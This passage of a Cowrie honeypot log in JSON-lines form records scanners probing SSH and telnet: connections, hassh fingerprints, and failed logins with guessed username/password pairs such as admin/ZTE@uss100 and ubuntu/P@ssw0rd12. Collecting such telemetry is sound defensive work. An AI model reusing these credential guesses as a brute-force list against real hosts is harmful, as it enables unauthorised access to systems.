.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:50:46.056100Z","src_ip":"103.106.188.32","session":"cabd4a1e4d0c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"ZTE@uss100","message":"login attempt [admin/ZTE@uss100] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:50:47.116780Z","src_ip":"103.106.188.32","session":"cabd4a1e4d0c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:50:48.330476Z","src_ip":"103.106.188.32","session":"cabd4a1e4d0c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"109.91.4.177","src_port":63232,"dst_ip":"10.17.0.5","dst_port":22,"session":"e4e4df4dfd55","protocol":"ssh","message":"New connection: 109.91.4.177:63232 (10.17.0.5:22) [session: e4e4df4dfd55]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:51:12.931126Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:51:12.935623Z","src_ip":"109.91.4.177","session":"e4e4df4dfd55","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:51:13.045487Z","src_ip":"109.91.4.177","session":"e4e4df4dfd55","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"2024","message":"login attempt [ubuntu/2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:51:13.944507Z","src_ip":"109.91.4.177","session":"e4e4df4dfd55","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.123.41.163","src_port":36616,"dst_ip":"10.17.0.5","dst_port":23,"session":"7ea7f7ebd2f7","protocol":"telnet","message":"New connection: 20.123.41.163:36616 (10.17.0.5:23) [session: 7ea7f7ebd2f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:51:14.598135Z"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:51:15.053648Z","src_ip":"109.91.4.177","session":"e4e4df4dfd55","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.146.202.174","src_port":54016,"dst_ip":"10.17.0.5","dst_port":22,"session":"84edd65e485f","protocol":"ssh","message":"New connection: 103.146.202.174:54016 (10.17.0.5:22) [session: 84edd65e485f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:51:18.347856Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:51:18.352020Z","src_ip":"103.146.202.174","session":"84edd65e485f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:51:18.593913Z","src_ip":"103.146.202.174","session":"84edd65e485f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"1qaz@WSX!QAZ","message":"login attempt [ubuntu/1qaz@WSX!QAZ] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:51:19.596445Z","src_ip":"103.146.202.174","session":"84edd65e485f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:51:20.844439Z","src_ip":"103.146.202.174","session":"84edd65e485f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.48.213.208","src_port":47018,"dst_ip":"10.17.0.5","dst_port":22,"session":"44b7b0790fdd","protocol":"ssh","message":"New connection: 185.48.213.208:47018 (10.17.0.5:22) [session: 44b7b0790fdd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:51:32.461463Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:51:32.466136Z","src_ip":"185.48.213.208","session":"44b7b0790fdd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:51:32.586488Z","src_ip":"185.48.213.208","session":"44b7b0790fdd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ts3","password":"ts3admin","message":"login attempt [ts3/ts3admin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:51:33.098106Z","src_ip":"185.48.213.208","session":"44b7b0790fdd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:51:34.220386Z","src_ip":"185.48.213.208","session":"44b7b0790fdd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.99.189.177","src_port":49942,"dst_ip":"10.17.0.5","dst_port":22,"session":"6f829283c2f7","protocol":"ssh","message":"New connection: 209.99.189.177:49942 (10.17.0.5:22) [session: 6f829283c2f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:51:35.434713Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:51:35.439567Z","src_ip":"209.99.189.177","session":"6f829283c2f7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:51:35.565844Z","src_ip":"209.99.189.177","session":"6f829283c2f7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"P@ssw0rd12","message":"login attempt [ubuntu/P@ssw0rd12] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:51:36.105037Z","src_ip":"209.99.189.177","session":"6f829283c2f7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:51:37.234613Z","src_ip":"209.99.189.177","session":"6f829283c2f7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.106.188.32","src_port":41400,"dst_ip":"10.17.0.5","dst_port":22,"session":"b09b173eb5fc","protocol":"ssh","message":"New connection: 103.106.188.32:41400 (10.17.0.5:22) [session: b09b173eb5fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:51:42.013171Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:51:42.017470Z","src_ip":"103.106.188.32","session":"b09b173eb5fc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:51:42.226696Z","src_ip":"103.106.188.32","session":"b09b173eb5fc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"qwertytest","message":"login attempt [test/qwertytest] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:51:43.230619Z","src_ip":"103.106.188.32","session":"b09b173eb5fc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:51:44.449950Z","src_ip":"103.106.188.32","session":"b09b173eb5fc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.248.120.6","src_port":59289,"dst_ip":"10.17.0.5","dst_port":22,"session":"a203645490f3","protocol":"ssh","message":"New connection: 103.248.120.6:59289 (10.17.0.5:22) [session: a203645490f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:51:50.514007Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:51:50.518492Z","src_ip":"103.248.120.6","session":"a203645490f3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:51:50.738035Z","src_ip":"103.248.120.6","session":"a203645490f3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"tester","message":"login attempt [test/tester] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:51:51.648372Z","src_ip":"103.248.120.6","session":"a203645490f3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:51:52.871473Z","src_ip":"103.248.120.6","session":"a203645490f3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"109.91.4.177","src_port":64300,"dst_ip":"10.17.0.5","dst_port":22,"session":"d175d947023d","protocol":"ssh","message":"New connection: 109.91.4.177:64300 (10.17.0.5:22) [session: d175d947023d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:52:04.113941Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:52:04.128096Z","src_ip":"109.91.4.177","session":"d175d947023d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:52:04.231570Z","src_ip":"109.91.4.177","session":"d175d947023d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"qweqwe","message":"login attempt [user/qweqwe] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:52:04.989140Z","src_ip":"109.91.4.177","session":"d175d947023d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:52:06.100964Z","src_ip":"109.91.4.177","session":"d175d947023d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00285959243774,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:52:15.802783Z","src_ip":"37.52.61.49","session":"357912cdbe4c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.146.202.174","src_port":42526,"dst_ip":"10.17.0.5","dst_port":22,"session":"38a46b6c87d6","protocol":"ssh","message":"New connection: 103.146.202.174:42526 (10.17.0.5:22) [session: 38a46b6c87d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:52:16.128549Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:52:16.133396Z","src_ip":"103.146.202.174","session":"38a46b6c87d6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"37.52.61.49","src_port":34838,"dst_ip":"159.203.135.109","dst_port":23,"session":"d1fc5cd72840","protocol":"telnet","message":"New connection: 37.52.61.49:34838 (159.203.135.109:23) [session: d1fc5cd72840]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:52:16.182646Z"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:52:16.386498Z","src_ip":"103.146.202.174","session":"38a46b6c87d6","protocol":"ssh"}
